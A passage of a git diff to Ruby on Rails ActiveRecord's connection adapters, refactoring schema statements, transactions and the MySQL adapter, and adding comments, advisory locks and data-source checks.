max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length if options.key?(:algorithm) @@ -927,12 +1140,26 @@ module ActiveRecord if index_name.length > max_index_length raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{max_index_length} characters" end - if table_exists?(table_name) && index_name_exists?(table_name, index_name, false) + if data_source_exists?(table_name) && index_name_exists?(table_name, index_name, false) raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' already exists" end index_columns = quoted_columns_for_index(column_names, options).join(", ") - [index_name, index_type, index_columns, index_options, algorithm, using] + [index_name, index_type, index_columns, index_options, algorithm, using, comment] + end + + def options_include_default?(options) + options.include?(:default) && !(options[:null] == false && options[:default].nil?) + end + + # Changes the comment for a table or removes it if +nil+. + def change_table_comment(table_name, comment) + raise NotImplementedError, "#{self.class} does not support changing table comments" + end + + # Changes the comment for a column or removes it if +nil+. + def change_column_comment(table_name, column_name, comment) #:nodoc: + raise NotImplementedError, "#{self.class} does not support changing column comments" end protected @@ -951,6 +1178,8 @@ module ActiveRecord # Overridden by the MySQL adapter for supporting index lengths def quoted_columns_for_index(column_names, options = {}) + return [column_names] if column_names.is_a?(String) + option_strings = Hash[column_names.map {|name| [name, '']}] # add index sort order if supported @@ -961,26 +1190,38 @@ module ActiveRecord column_names.map {|name| quote_column_name(name) + option_strings[name]} end - def options_include_default?(options) - options.include?(:default) && !(options[:null] == false && options[:default].nil?) - end - def index_name_for_remove(table_name, options = {}) - index_name = index_name(table_name, options) + return options[:name] if can_remove_index_by_name?(options) - unless index_name_exists?(table_name, index_name, true) - if options.is_a?(Hash) && options.has_key?(:name) - options_without_column = options.dup - options_without_column.delete :column - index_name_without_column = index_name(table_name, options_without_column) + # if the adapter doesn't support the indexes call the best we can do + # is return the default index name for the options provided + return index_name(table_name, options) unless respond_to?(:indexes) - return index_name_without_column if index_name_exists?(table_name, index_name_without_column, false) - end + checks = [] + + if options.is_a?(Hash) + checks << lambda { |i| i.name == options[:name].to_s } if options.key?(:name) + column_names = Array(options[:column]).map(&:to_s) + else + column_names = Array(options).map(&:to_s) + end - raise ArgumentError, "Index name '#{index_name}' on table '#{table_name}' does not exist" + if column_names.any? + checks << lambda { |i| i.columns.join('_and_') == column_names.join('_and_') } end - index_name + raise ArgumentError "No name or columns specified" if checks.none? + + matching_indexes = indexes(table_name).select { |i| checks.all? { |check| check[i] } } + + if matching_indexes.count > 1 + raise ArgumentError, "Multiple indexes found on #{table_name} columns #{column_names}. " \ + "Specify an index name from #{matching_indexes.map(&:name).join(', ')}" + elsif matching_indexes.none? + raise ArgumentError, "No indexes found on #{table_name} with the options provided." + else + matching_indexes.first.name + end end def rename_table_indexes(table_name, new_name) @@ -1006,14 +1247,22 @@ module ActiveRecord end private - def create_table_definition(name, temporary = false, options = nil, as = nil) - TableDefinition.new native_database_types, name, temporary, options, as + def create_table_definition(*args) + TableDefinition.new(*args) end def create_alter_table(name) AlterTable.new create_table_definition(name) end + def index_name_options(column_names) # :nodoc: + if column_names.is_a?(String) + column_names = column_names.scan(/\w+/).join('_') + end + + { column: column_names } + end + def foreign_key_name(table_name, options) # :nodoc: identifier = "#{table_name}_#{options.fetch(:column)}_fk" hashed_identifier = Digest::SHA256.hexdigest(identifier).first(10) @@ -1022,11 +1271,23 @@ module ActiveRecord end end - def validate_index_length!(table_name, new_name) + def validate_index_length!(table_name, new_name) # :nodoc: if new_name.length > allowed_index_name_length raise ArgumentError, "Index name '#{new_name}' on table '#{table_name}' is too long; the limit is #{allowed_index_name_length} characters" end end + + def extract_new_default_value(default_or_changes) + if default_or_changes.is_a?(Hash) && default_or_changes.has_key?(:from) && default_or_changes.has_key?(:to) + default_or_changes[:to] + else + default_or_changes + end + end + + def can_remove_index_by_name?(options) + options.is_a?(Hash) && options.key?(:name) && options.except(:name, :algorithm).empty? + end end end end diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb index 295a7bed87..ca795cb1ad 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb @@ -33,6 +33,7 @@ module ActiveRecord class NullTransaction #:nodoc: def initialize; end + def state; end def closed?; true; end def open?; false; end def joinable?; false; end @@ -166,8 +167,13 @@ module ActiveRecord def commit_transaction transaction = @stack.last - transaction.before_commit_records - @stack.pop + + begin + transaction.before_commit_records + ensure + @stack.pop + end + transaction.commit transaction.commit_records end @@ -182,7 +188,10 @@ module ActiveRecord transaction = begin_transaction options yield rescue Exception => error - rollback_transaction if transaction + if transaction + rollback_transaction + after_failure_actions(transaction, error) + end raise ensure unless error @@ -208,7 +217,16 @@ module ActiveRecord end private + NULL_TRANSACTION = NullTransaction.new + + # Deallocate invalidated prepared statements outside of the transaction + def after_failure_actions(transaction, error) + return unless transaction.is_a?(RealTransaction) + return unless error.is_a?(ActiveRecord::PreparedStatementCacheExpired) + @connection.clear_cache! + end + end end end diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb index ae42e8ef8d..d4b9e301bc 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb @@ -1,13 +1,9 @@ -require 'date' -require 'bigdecimal' -require 'bigdecimal/util' require 'active_record/type' -require 'active_support/core_ext/benchmark' +require 'active_record/connection_adapters/determine_if_preparable_visitor' require 'active_record/connection_adapters/schema_cache' require 'active_record/connection_adapters/sql_type_metadata' require 'active_record/connection_adapters/abstract/schema_dumper' require 'active_record/connection_adapters/abstract/schema_creation' -require 'monitor' require 'arel/collectors/bind' require 'arel/collectors/sql_string' @@ -26,11 +22,11 @@ module ActiveRecord autoload :TableDefinition autoload :Table autoload :AlterTable + autoload :ReferenceDefinition end autoload_at 'active_record/connection_adapters/abstract/connection_pool' do autoload :ConnectionHandler - autoload :ConnectionManagement end autoload_under 'abstract' do @@ -55,23 +51,23 @@ module ActiveRecord # related classes form the abstraction layer which makes this possible. # An AbstractAdapter represents a connection to a database, and provides an # abstract interface for database-specific functionality such as establishing - # a connection, escaping values, building the right SQL fragments for ':offset' - # and ':limit' options, etc. + # a connection, escaping values, building the right SQL fragments for +:offset+ + # and +:limit+ options, etc. # # All the concrete database adapters follow the interface laid down in this class. - # ActiveRecord::Base.connection returns an AbstractAdapter object, which + # {ActiveRecord::Base.connection}[rdoc-ref:ConnectionHandling#connection] returns an AbstractAdapter object, which # you can use. # # Most of the methods in the adapter are useful during migrations. Most - # notably, the instance methods provided by SchemaStatement are very useful. + # notably, the instance methods provided by SchemaStatements are very useful. class AbstractAdapter ADAPTER_NAME = 'Abstract'.freeze include Quoting, DatabaseStatements, SchemaStatements include DatabaseLimits include QueryCache include ActiveSupport::Callbacks - include MonitorMixin include ColumnDumper + include Savepoints SIMPLE_INT = /\A\d+\z/ @@ -99,17 +95,37 @@ module ActiveRecord attr_reader :prepared_statements - def initialize(connection, logger = nil, pool = nil) #:nodoc: + def initialize(connection, logger = nil, config = {}) # :nodoc: super() @connection = connection @owner = nil @instrumenter = ActiveSupport::Notifications.instrumenter @logger = logger - @pool = pool + @config = config + @pool = nil @schema_cache = SchemaCache.new self - @visitor = nil - @prepared_statements = false + @quoted_column_names, @quoted_table_names = {}, {} + @visitor = arel_visitor + + if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true }) + @prepared_statements = true + @visitor.extend(DetermineIfPreparableVisitor) + else + @prepared_statements = false + end + end + + class Version + include Comparable + + def initialize(version_string) + @version = version_string.split('.').map(&:to_i) + end + + def <=>(version_string) + @version <=> version_string.split('.').map(&:to_i) + end end class BindCollector < Arel::Collectors::Bind @@ -133,20 +149,32 @@ module ActiveRecord end end + def arel_visitor # :nodoc: + Arel::Visitors::ToSql.new(self) + end + def valid_type?(type) - true + false end def schema_creation SchemaCreation.new self end + # this method must only be called while holding connection pool's mutex def lease - synchronize do - unless in_use? - @owner = Thread.current + if in_use? + msg = 'Cannot lease connection, ' + if @owner == Thread.current + msg << 'it is already leased by the current thread.' + else + msg << "it is already in use by a different thread: #{@owner}. " << + "Current thread: #{Thread.current}." end + raise ActiveRecordError, msg end + + @owner = Thread.current end def schema_cache=(cache) @@ -154,6 +182,7 @@ module ActiveRecord @schema_cache = cache end + # this method must only be called while holding connection pool's mutex def expire @owner = nil end @@ -197,6 +226,11 @@ module ActiveRecord false end + # Does this adapter support application-enforced advisory locking? + def supports_advisory_locks? + false + end + # Should primary key values be selected from their corresponding # sequence before the insert statement? If true, next_sequence_value # is called before each insert to set the record's primary key. @@ -214,6 +248,11 @@ module ActiveRecord false end + # Does this adapter support expression indices? + def supports_expression_index? + false + end + # Does this adapter support explain? def supports_explain? false @@ -250,6 +289,26 @@ module ActiveRecord false end + # Does this adapter support json data type? + def supports_json? + false + end + + # Does this adapter support metadata comments on database objects (tables, columns, indexes)? + def supports_comments? + false + end + + # Can comments for tables, columns, and indexes be specified in create/alter table statements? + def supports_comments_in_create? + false + end + + # Does this adapter support multi-value insert? + def supports_multi_insert? + true + end + # This is meant to be implemented by the adapters that support extensions def disable_extension(name) end @@ -258,6 +317,20 @@ module ActiveRecord def enable_extension(name) end + # This is meant to be implemented by the adapters that support advisory + # locks + # + # Return true if we got the lock, otherwise false + def get_advisory_lock(lock_id) # :nodoc: + end + + # This is meant to be implemented by the adapters that support advisory + # locks. + # + # Return true if we released the lock, otherwise false + def release_advisory_lock(lock_id) # :nodoc: + end + # A list of extensions, to be filled in by adapters that support them. def extensions [] @@ -268,12 +341,6 @@ module ActiveRecord {} end - # Returns a bind substitution value given a bind +column+ - # NOTE: The column param is currently being used by the sqlserver-adapter - def substitute_at(column, _unused = 0) - Arel::Nodes::BindParam.new - end - # REFERENTIAL INTEGRITY ==================================== # Override to turn off referential integrity while executing <tt>&block</tt>. @@ -327,14 +394,14 @@ module ActiveRecord end # Checks whether the connection to the database is still active (i.e. not stale). - # This is done under the hood by calling <tt>active?</tt>. If the connection + # This is done under the hood by calling #active?. If the connection # is no longer active, then this method will reconnect to the database. def verify!(*ignored) reconnect! unless active? end # Provides access to the underlying database driver for this adapter. For - # example, this method returns a Mysql object in case of MysqlAdapter, + # example, this method returns a Mysql2::Client object in case of Mysql2Adapter, # and a PGconn object in case of PostgreSQLAdapter. # # This is useful for when you need to call a proprietary method such as @@ -343,27 +410,19 @@ module ActiveRecord @connection end - def create_savepoint(name = nil) - end - - def release_savepoint(name = nil) - end - - def case_sensitive_modifier(node, table_attribute) - node - end - def case_sensitive_comparison(table, attribute, column, value) - table_attr = table[attribute] - value = case_sensitive_modifier(value, table_attr) unless value.nil? - table_attr.eq(value) + if value.nil? + table[attribute].eq(value) + else + table[attribute].eq(Arel::Nodes::BindParam.new) + end end def case_insensitive_comparison(table, attribute, column, value) if can_perform_case_insensitive_comparison_for?(column) - table[attribute].lower.eq(table.lower(value)) + table[attribute].lower.eq(table.lower(Arel::Nodes::BindParam.new)) else - case_sensitive_comparison(table, attribute, column, value) + table[attribute].eq(Arel::Nodes::BindParam.new) end end @@ -372,10 +431,6 @@ module ActiveRecord end private :can_perform_case_insensitive_comparison_for? - def current_savepoint_name - current_transaction.savepoint_name - end - # Check the connection back in to the connection pool def close pool.checkin self @@ -387,8 +442,8 @@ module ActiveRecord end end - def new_column(name, default, sql_type_metadata = nil, null = true) - Column.new(name, default, sql_type_metadata, null) + def new_column(name, default, sql_type_metadata, null, table_name, default_function = nil, collation = nil) # :nodoc: + Column.new(name, default, sql_type_metadata, null, table_name, default_function, collation) end def lookup_cast_type(sql_type) # :nodoc: @@ -399,6 +454,24 @@ module ActiveRecord visitor.accept(node, collector).value end + def combine_bind_parameters( + from_clause: [], + join_clause: [], + where_clause: [], + having_clause: [], + limit: nil, + offset: nil + ) # :nodoc: + result = from_clause + join_clause + where_clause + having_clause + if limit + result << limit + end + if offset + result << offset + end + result + end + protected def initialize_type_map(m) # :nodoc: @@ -497,7 +570,7 @@ module ActiveRecord def translate_exception(exception, message) # override in derived class - ActiveRecord::StatementInvalid.new(message, exception) + ActiveRecord::StatementInvalid.new(message) end def without_prepared_statement?(binds) diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb index b4e29a608a..fdd6bffa13 100644 --- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb @@ -1,248 +1,91 @@ -require 'arel/visitors/bind_visitor' +require 'active_record/connection_adapters/abstract_adapter' +require 'active_record/connection_adapters/statement_pool' +require 'active_record/connection_adapters/mysql/column' +require 'active_record/connection_adapters/mysql/explain_pretty_printer' +require 'active_record/connection_adapters/mysql/quoting' +require 'active_record/connection_adapters/mysql/schema_creation' +require 'active_record/connection_adapters/mysql/schema_definitions' +require 'active_record/connection_adapters/mysql/schema_dumper' +require 'active_record/connection_adapters/mysql/type_metadata' + require 'active_support/core_ext/string/strip' module ActiveRecord module ConnectionAdapters class AbstractMysqlAdapter < AbstractAdapter - include Savepoints - - module ColumnMethods - def primary_key(name, type = :primary_key, **options) - options[:auto_increment] = true if type == :bigint - super - end - end - - class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition - include ColumnMethods - - def new_column_definition(name, type, options) # :nodoc: - column = super - case column.type - when :primary_key - column.type = :integer - column.auto_increment = true - end - column - end - end - - class Table < ActiveRecord::ConnectionAdapters::Table - include ColumnMethods - end - - class SchemaCreation < AbstractAdapter::SchemaCreation - def visit_AddColumn(o) - add_column_position!(super, column_options(o)) - end - - private - - def visit_DropForeignKey(name) - "DROP FOREIGN KEY #{name}" - end - - def visit_TableDefinition(o) - name = o.name - create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE #{quote_table_name(name)} " - - statements = o.columns.map { |c| accept c } - statements.concat(o.indexes.map { |column_name, options| index_in_create(name, column_name, options) }) - - create_sql << "(#{statements.join(', ')}) " if statements.present? - create_sql << "#{o.options}" - create_sql << " AS #{@conn.to_sql(o.as)}" if o.as - create_sql - end - - def visit_ChangeColumnDefinition(o) - change_column_sql = "CHANGE #{quote_column_name(o.name)} #{accept(o.column)}" - add_column_position!(change_column_sql, column_options(o.column)) - end - - def add_column_position!(sql, options) - if options[:first] - sql << " FIRST" - elsif options[:after] - sql << " AFTER #{quote_column_name(options[:after])}" - end - sql - end - - def index_in_create(table_name, column_name, options) - index_name, index_type, index_columns, index_options, index_algorithm, index_using = @conn.add_index_options(table_name, column_name, options) - "#{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})#{index_options} #{index_algorithm}" - end - end + include MySQL::Quoting + include MySQL::ColumnDumper def update_table_definition(table_name, base) # :nodoc: - Table.new(table_name, base) + MySQL::Table.new(table_name, base) end - def schema_creation - SchemaCreation.new self + def schema_creation # :nodoc: + MySQL::SchemaCreation.new(self) end - def column_spec_for_primary_key(column) - spec = {} - if column.auto_increment? - spec[:id] = ':bigint' if column.bigint? - return if spec.empty? - else - spec[:id] = column.type.inspect - spec.merge!(prepare_column_options(column).delete_if { |key, _| [:name, :type, :null].include?(key) }) - end - spec - end - - def prepare_column_options(column) - spec = super - spec.delete(:precision) if /time/ === column.sql_type && column.precision == 0 - spec.delete(:limit) if :boolean === column.type - spec - end - - class Column < ConnectionAdapters::Column # :nodoc: - delegate :strict, :collation, :extra, to: :sql_type_metadata, allow_nil: true - - def initialize(*) - super - assert_valid_default(default) - extract_default - end - - def extract_default - if blob_or_text_column? - @default = null || strict ? nil : '' - elsif missing_default_forged_as_empty_string?(default) - @default = nil - end - end - - def has_default? - return false if blob_or_text_column? # MySQL forbids defaults on blob and text columns - super - end - - def blob_or_text_column? - sql_type =~ /blob/i || type == :text - end - - def case_sensitive? - collation && !collation.match(/_ci$/) - end - - def auto_increment? - extra == 'auto_increment' - end - - private - - # MySQL misreports NOT NULL column default when none is given. - # We can't detect this for columns which may have a legitimate '' - # default (string) but we can for others (integer, datetime, boolean, - # and the rest). - # - # Test whether the column has default '', is not null, and is not - # a type allowing default ''. - def missing_default_forged_as_empty_string?(default) - type != :string && !null && default == '' - end - - def assert_valid_default(default) - if blob_or_text_column? && default.present? - raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}" - end - end - end - - class MysqlTypeMetadata < DelegateClass(SqlTypeMetadata) # :nodoc: - attr_reader :collation, :extra, :strict - - def initialize(type_metadata, collation: "", extra: "", strict: false) - super(type_metadata) - @type_metadata = type_metadata - @collation = collation - @extra = extra - @strict = strict - end - - def ==(other) - other.is_a?(MysqlTypeMetadata) && - attributes_for_hash == other.attributes_for_hash - end - alias eql? == - - def hash - attributes_for_hash.hash - end - - protected - - def attributes_for_hash - [self.class, @type_metadata, collation, extra, strict] - end + def arel_visitor # :nodoc: + Arel::Visitors::MySQL.new(self) end ## # :singleton-method: - # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt> - # as boolean. If you wish to disable this emulation (which was the default - # behavior in versions 0.13.1 and earlier) you can add the following line + # By default, the Mysql2Adapter will consider all columns of type <tt>tinyint(1)</tt> + # as boolean. If you wish to disable this emulation you can add the following line # to your application.rb file: # - # ActiveRecord::ConnectionAdapters::Mysql[2]Adapter.emulate_booleans = false + # ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = false class_attribute :emulate_booleans self.emulate_booleans = true - LOST_CONNECTION_ERROR_MESSAGES = [ - "Server shutdown in progress", - "Broken pipe", - "Lost connection to MySQL server during query", - "MySQL server has gone away" ] - - QUOTED_TRUE, QUOTED_FALSE = '1', '0' - NATIVE_DATABASE_TYPES = { - :primary_key => "int(11) auto_increment PRIMARY KEY", - :string => { :name => "varchar", :limit => 255 }, - :text => { :name => "text" }, - :integer => { :name => "int", :limit => 4 }, - :float => { :name => "float" }, - :decimal => { :name => "decimal" }, - :datetime => { :name => "datetime" }, - :time => { :name => "time" }, - :date => { :name => "date" }, - :binary => { :name => "blob" }, - :boolean => { :name => "tinyint", :limit => 1 } + primary_key: "int auto_increment PRIMARY KEY", + string: { name: "varchar", limit: 255 }, + text: { name: "text" }, + integer: { name: "int", limit: 4 }, + float: { name: "float" }, + decimal: { name: "decimal" }, + datetime: { name: "datetime" }, + time: { name: "time" }, + date: { name: "date" }, + binary: { name: "blob" }, + boolean: { name: "tinyint", limit: 1 }, + json: { name: "json" }, } INDEX_TYPES = [:fulltext, :spatial] INDEX_USINGS = [:btree, :hash] - # FIXME: Make the first parameter more similar for the two adapters + class StatementPool < ConnectionAdapters::StatementPool + private def dealloc(stmt) + stmt[:stmt].close + end + end + def initialize(connection, logger, connection_options, config) - super(connection, logger) - @connection_options, @config = connection_options, config - @quoted_column_names, @quoted_table_names = {}, {} + super(connection, logger, config) - @visitor = Arel::Visitors::MySQL.new self + @statements = StatementPool.new(self.class.type_cast_config_to_integer(config[:statement_limit])) - if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true }) - @prepared_statements = true - else - @prepared_statements = false + if version < '5.0.0' + raise "Your version of MySQL (#{full_version.match(/^\d+\.\d+\.\d+/)[0]}) is too old. Active Record supports MySQL >= 5.0." end end - MAX_INDEX_LENGTH_FOR_CHARSETS_OF_4BYTES_MAXLEN = 191 CHARSETS_OF_4BYTES_MAXLEN = ['utf8mb4', 'utf16', 'utf16le', 'utf32'] - def initialize_schema_migrations_table - if CHARSETS_OF_4BYTES_MAXLEN.include?(charset) - ActiveRecord::SchemaMigration.create_table(MAX_INDEX_LENGTH_FOR_CHARSETS_OF_4BYTES_MAXLEN) - else - ActiveRecord::SchemaMigration.create_table - end + + def internal_string_options_for_primary_key # :nodoc: + super.tap { |options| + options[:collation] = collation.sub(/\A[^_]+/, 'utf8') if CHARSETS_OF_4BYTES_MAXLEN.include?(charset) + } + end + + def version #:nodoc: + @version ||= Version.new(full_version.match(/^\d+\.\d+\.\d+/)[0]) + end + + def mariadb? # :nodoc: + full_version =~ /mariadb/i end # Returns true, since this connection adapter supports migrations. @@ -258,18 +101,24 @@ module ActiveRecord true end + # Returns true, since this connection adapter supports prepared statement + # caching. + def supports_statement_cache? + true + end + # Technically MySQL allows to create indexes with the sort order syntax # but at the moment (5.5) it doesn't yet implement them def supports_index_sort_order? true end - # MySQL 4 technically support transaction isolation, but it is affected by a bug - # where the transaction level gets persisted for the whole session: - # - # http://bugs.mysql.com/bug.php?id=39170 def supports_transaction_isolation? - version[0] >= 5 + true + end + + def supports_explain? + true end def supports_indexes_in_create? @@ -281,11 +130,27 @@ module ActiveRecord end def supports_views? - version[0] >= 5 + true end def supports_datetime_with_precision? - (version[0] == 5 && version[1] >= 6) || version[0] >= 6 + if mariadb? + version >= '5.3.0' + else + version >= '5.6.4' + end + end + + def supports_advisory_locks? + true + end + + def get_advisory_lock(lock_name, timeout = 0) # :nodoc: + select_value("SELECT GET_LOCK(#{quote(lock_name)}, #{timeout})") == 1 + end + + def release_advisory_lock(lock_name) # :nodoc: + select_value("SELECT RELEASE_LOCK(#{quote(lock_name)})") == 1 end def native_database_types @@ -304,8 +169,8 @@ module ActiveRecord raise NotImplementedError end - def new_column(field, default, sql_type_metadata = nil, null = true) # :nodoc: - Column.new(field, default, sql_type_metadata, null) + def new_column(*args) #:nodoc: + MySQL::Column.new(*args) end # Must return the MySQL error number from the exception, if the exception has an @@ -314,40 +179,6 @@ module ActiveRecord raise NotImplementedError end - # QUOTING ================================================== - - def _quote(value) # :nodoc: - if value.is_a?(Type::Binary::Data) - "x'#{value.hex}'" - else - super - end - end - - def quote_column_name(name) #:nodoc: - @quoted_column_names[name] ||= "`#{name.to_s.gsub('`', '``')}`" - end - - def quote_table_name(name) #:nodoc: - @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`') - end - - def quoted_true - QUOTED_TRUE - end - - def unquoted_true - 1 - end - - def quoted_false - QUOTED_FALSE - end - - def unquoted_false - 0 - end - # REFERENTIAL INTEGRITY ==================================== def disable_referential_integrity #:nodoc: @@ -361,13 +192,25 @@ module ActiveRecord end end + # CONNECTION MANAGEMENT ==================================== + + # Clears the prepared statements cache. + def clear_cache! + reload_type_map + @statements.clear + end + #-- # DATABASE STATEMENTS ====================================== #++ - def clear_cache! - super - reload_type_map + def explain(arel, binds = []) + sql = "EXPLAIN #{to_sql(arel, binds)}" + start = Time.now + result = exec_query(sql, 'EXPLAIN', binds) + elapsed = Time.now - start + + MySQL::ExplainPrettyPrinter.new.pp(result, elapsed) end # Executes the SQL statement in the context of this connection. @@ -375,18 +218,13 @@ module ActiveRecord log(sql, name) { @connection.query(sql) } end - # MysqlAdapter has to free a result after using it, so we use this method to write - # stuff in an abstract way without concerning ourselves about whether it needs to be - # explicitly freed or not. - def execute_and_free(sql, name = nil) #:nodoc: + # Mysql2Adapter doesn't have to free a result after using it, but we use this method + # to write stuff in an abstract way without concerning ourselves about whether it + # needs to be explicitly freed or not. + def execute_and_free(sql, name = nil) # :nodoc: yield execute(sql, name) end - def update_sql(sql, name = nil) #:nodoc: - super - @connection.affected_rows - end - def begin_db_transaction execute "BEGIN" end @@ -407,7 +245,7 @@ module ActiveRecord # In the simple case, MySQL allows us to place JOINs directly into the UPDATE # query. However, this does not allow for LIMIT, OFFSET and ORDER. To support # these, we must use a subquery. - def join_to_update(update, select) #:nodoc: + def join_to_update(update, select, key) # :nodoc: if select.limit || select.offset || select.orders.any? super else @@ -440,9 +278,9 @@ module ActiveRecord # create_database 'matt_development', charset: :big5 def create_database(name, options = {}) if options[:collation] - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`" + execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset] || 'utf8')} COLLATE #{quote_table_name(options[:collation])}" else - execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`" + execute "CREATE DATABASE #{quote_table_name(name)} DEFAULT CHARACTER SET #{quote_table_name(options[:charset] || 'utf8')}" end end @@ -451,7 +289,7 @@ module ActiveRecord # Example: # drop_database('sebastian_development') def drop_database(name) #:nodoc: - execute "DROP DATABASE IF EXISTS `#{name}`" + execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}" end def current_database @@ -468,33 +306,68 @@ module ActiveRecord show_variable 'collation_database' end - def tables(name = nil, database = nil, like = nil) #:nodoc: - sql = "SHOW TABLES " - sql << "IN #{quote_table_name(database)} " if database - sql << "LIKE #{quote(like)}" if like + def tables(name = nil) # :nodoc: + ActiveSupport::Deprecation.warn(<<-MSG.squish) + #tables currently returns both tables and views. + This behavior is deprecated and will be changed with Rails 5.1 to only return tables. + Use #data_sources instead. + MSG - execute_and_free(sql, 'SCHEMA') do |result| - result.collect(&:first) + if name + ActiveSupport::Deprecation.warn(<<-MSG.squish) + Passing arguments to #tables is deprecated without replacement. + MSG end + + data_sources + end + + def data_sources + sql = "SELECT table_name FROM information_schema.tables " + sql << "WHERE table_schema = #{quote(@config[:database])}" + + select_values(sql, 'SCHEMA') end def truncate(table_name, name = nil) execute "TRUNCATE TABLE #{quote_table_name(table_name)}", name end - def table_exists?(name) - return false unless name.present? - return true if tables(nil, nil, name).any? + def table_exists?(table_name) + # Update lib/active_record/internal_metadata.rb when this gets removed + ActiveSupport::Deprecation.warn(<<-MSG.squish) + #table_exists? currently checks both tables and views. + This behavior is deprecated and will be changed with Rails 5.1 to only check tables. + Use #data_source_exists? instead. + MSG - name = name.to_s - schema, table = name.split('.', 2) + data_source_exists?(table_name) + end - unless table # A table was provided without a schema - table = schema - schema = nil - end + def data_source_exists?(table_name) + return false unless table_name.present? + + schema, name = extract_schema_qualified_name(table_name) + + sql = "SELECT table_name FROM information_schema.tables " + sql << "WHERE table_schema = #{quote(schema)} AND table_name = #{quote(name)}" + + select_values(sql, 'SCHEMA').any? + end + + def views # :nodoc: + select_values("SHOW FULL TABLES WHERE table_type = 'VIEW'", 'SCHEMA') + end + + def view_exists?(view_name) # :nodoc: + return false unless view_name.present? + + schema, name = extract_schema_qualified_name(view_name) - tables(nil, schema, table).any? + sql = "SELECT table_name FROM information_schema.tables WHERE table_type = 'VIEW'" + sql << " AND table_schema = #{quote(schema)} AND table_name = #{quote(name)}" + + select_values(sql, 'SCHEMA').any? end # Returns an array of indexes for the given table. @@ -510,7 +383,7 @@ module ActiveRecord mysql_index_type = row[:Index_type].downcase.to_sym index_type = INDEX_TYPES.include?(mysql_index_type) ? mysql_index_type : nil index_using = INDEX_USINGS.include?(mysql_index_type) ? mysql_index_type : nil - indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], [], nil, nil, index_type, index_using) + indexes << IndexDefinition.new(row[:Table], row[:Key_name], row[:Non_unique].to_i == 0, [], [], nil, nil, index_type, index_using, row[:Index_comment].presence) end indexes.last.columns << row[:Column_name] @@ -522,20 +395,29 @@ module ActiveRecord end # Returns an array of +Column+ objects for the table specified by +table_name+. - def columns(table_name)#:nodoc: - sql = "SHOW FULL FIELDS FROM #{quote_table_name(table_name)}" - execute_and_free(sql, 'SCHEMA') do |result| - each_hash(result).map do |field| - field_name = set_field_encoding(field[:Field]) - sql_type = field[:Type] - type_metadata = fetch_type_metadata(sql_type, field[:Collation], field[:Extra]) - new_column(field_name, field[:Default], type_metadata, field[:Null] == "YES") + def columns(table_name) # :nodoc: + table_name = table_name.to_s + column_definitions(table_name).map do |field| + type_metadata = fetch_type_metadata(field[:Type], field[:Extra]) + if type_metadata.type == :datetime && field[:Default] == "CURRENT_TIMESTAMP" + default, default_function = nil, field[:Default] + else + default, default_function = field[:Default], nil end + new_column(field[:Field], default, type_metadata, field[:Null] == "YES", table_name, default_function, field[:Collation], comment: field[:Comment].presence) end end - def create_table(table_name, options = {}) #:nodoc: - super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB")) + def table_comment(table_name) # :nodoc: + select_value(<<-SQL.strip_heredoc, 'SCHEMA') + SELECT table_comment + FROM information_schema.tables + WHERE table_name=#{quote(table_name)} + SQL + end + + def create_table(table_name, **options) #:nodoc: + super(table_name, options: 'ENGINE=InnoDB', **options) end def bulk_change_table(table_name, operations) #:nodoc: @@ -562,7 +444,23 @@ module ActiveRecord rename_table_indexes(table_name, new_name) end + # Drops a table from the database. + # + # [<tt>:force</tt>] + # Set to +:cascade+ to drop dependent objects as well. + # Defaults to false. + # [<tt>:if_exists</tt>] + # Set to +true+ to only drop the table if it exists. + # Defaults to false. + # [<tt>:temporary</tt>] + # Set to +true+ to drop temporary table. + # Defaults to false. + # + # Although this command ignores most +options+ and the block if one is given, + # it can be helpful to provide these in a migration's +change+ method so it can be reverted. + # In that case, +options+ and the block will be used by create_table. def drop_table(table_name, options = {}) + create_table_info_cache.delete(table_name) if create_table_info_cache.key?(table_name) execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}" end @@ -576,12 +474,13 @@ module ActiveRecord end end - def change_column_default(table_name, column_name, default) #:nodoc: + def change_column_default(table_name, column_name, default_or_changes) #:nodoc: + default = extract_new_default_value(default_or_changes) column = column_for(table_name, column_name) change_column table_name, column_name, column.sql_type, :default => default end - def change_column_null(table_name, column_name, null, default = nil) + def change_column_null(table_name, column_name, null, default = nil) #:nodoc: column = column_for(table_name, column_name) unless null || default.nil? @@ -601,11 +500,21 @@ module ActiveRecord end def add_index(table_name, column_name, options = {}) #:nodoc: - index_name, index_type, index_columns, index_options, index_algorithm, index_using = add_index_options(table_name, column_name, options) - execute "CREATE 